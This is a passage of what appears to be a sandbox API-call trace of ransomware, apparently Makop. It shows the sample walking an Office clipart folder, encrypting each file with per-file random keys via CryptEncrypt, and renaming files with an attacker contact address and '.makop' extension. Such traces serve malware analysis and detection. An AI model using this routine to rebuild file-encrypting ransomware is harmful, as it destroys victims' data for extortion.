hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.040] GetProcessHeap () returned 0x48a0000 [0116.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.040] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.040] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.040] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.041] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.041] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e8, lpOverlapped=0x0) returned 1 [0116.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f0) returned 1 [0116.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f0, lpOverlapped=0x0) returned 1 [0116.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.042] SetEndOfFile (hFile=0xf0) returned 1 [0116.049] GetProcessHeap () returned 0x48a0000 [0116.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.049] GetProcessHeap () returned 0x48a0000 [0116.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.049] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.051] CloseHandle (hObject=0xf0) returned 1 [0116.051] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0116.052] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0116.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.052] GetProcessHeap () returned 0x48a0000 [0116.052] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.052] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.053] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.053] GetProcessHeap () returned 0x48a0000 [0116.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.053] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.053] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb80, lpOverlapped=0x0) returned 1 [0116.062] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80, dwBufLen=0xb80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80) returned 1 [0116.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb80, lpOverlapped=0x0) returned 1 [0116.062] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.062] SetEndOfFile (hFile=0xf0) returned 1 [0116.069] GetProcessHeap () returned 0x48a0000 [0116.069] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.070] GetProcessHeap () returned 0x48a0000 [0116.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.071] CloseHandle (hObject=0xf0) returned 1 [0116.071] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0116.071] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0116.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.072] GetProcessHeap () returned 0x48a0000 [0116.072] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.072] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.077] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.077] GetProcessHeap () returned 0x48a0000 [0116.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.079] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.079] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2178, lpOverlapped=0x0) returned 1 [0116.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180, dwBufLen=0x2180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2180) returned 1 [0116.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2180, lpOverlapped=0x0) returned 1 [0116.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.081] SetEndOfFile (hFile=0xf0) returned 1 [0116.088] GetProcessHeap () returned 0x48a0000 [0116.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.088] GetProcessHeap () returned 0x48a0000 [0116.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.088] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.090] CloseHandle (hObject=0xf0) returned 1 [0116.090] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0116.090] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0116.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.092] GetProcessHeap () returned 0x48a0000 [0116.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.092] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0116.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.097] GetProcessHeap () returned 0x48a0000 [0116.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c4, lpOverlapped=0x0) returned 1 [0116.098] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d0) returned 1 [0116.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4d0, lpOverlapped=0x0) returned 1 [0116.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.099] SetEndOfFile (hFile=0xf0) returned 1 [0116.105] GetProcessHeap () returned 0x48a0000 [0116.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.106] GetProcessHeap () returned 0x48a0000 [0116.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.106] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.107] CloseHandle (hObject=0xf0) returned 1 [0116.107] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0116.107] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0116.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.110] GetProcessHeap () returned 0x48a0000 [0116.110] 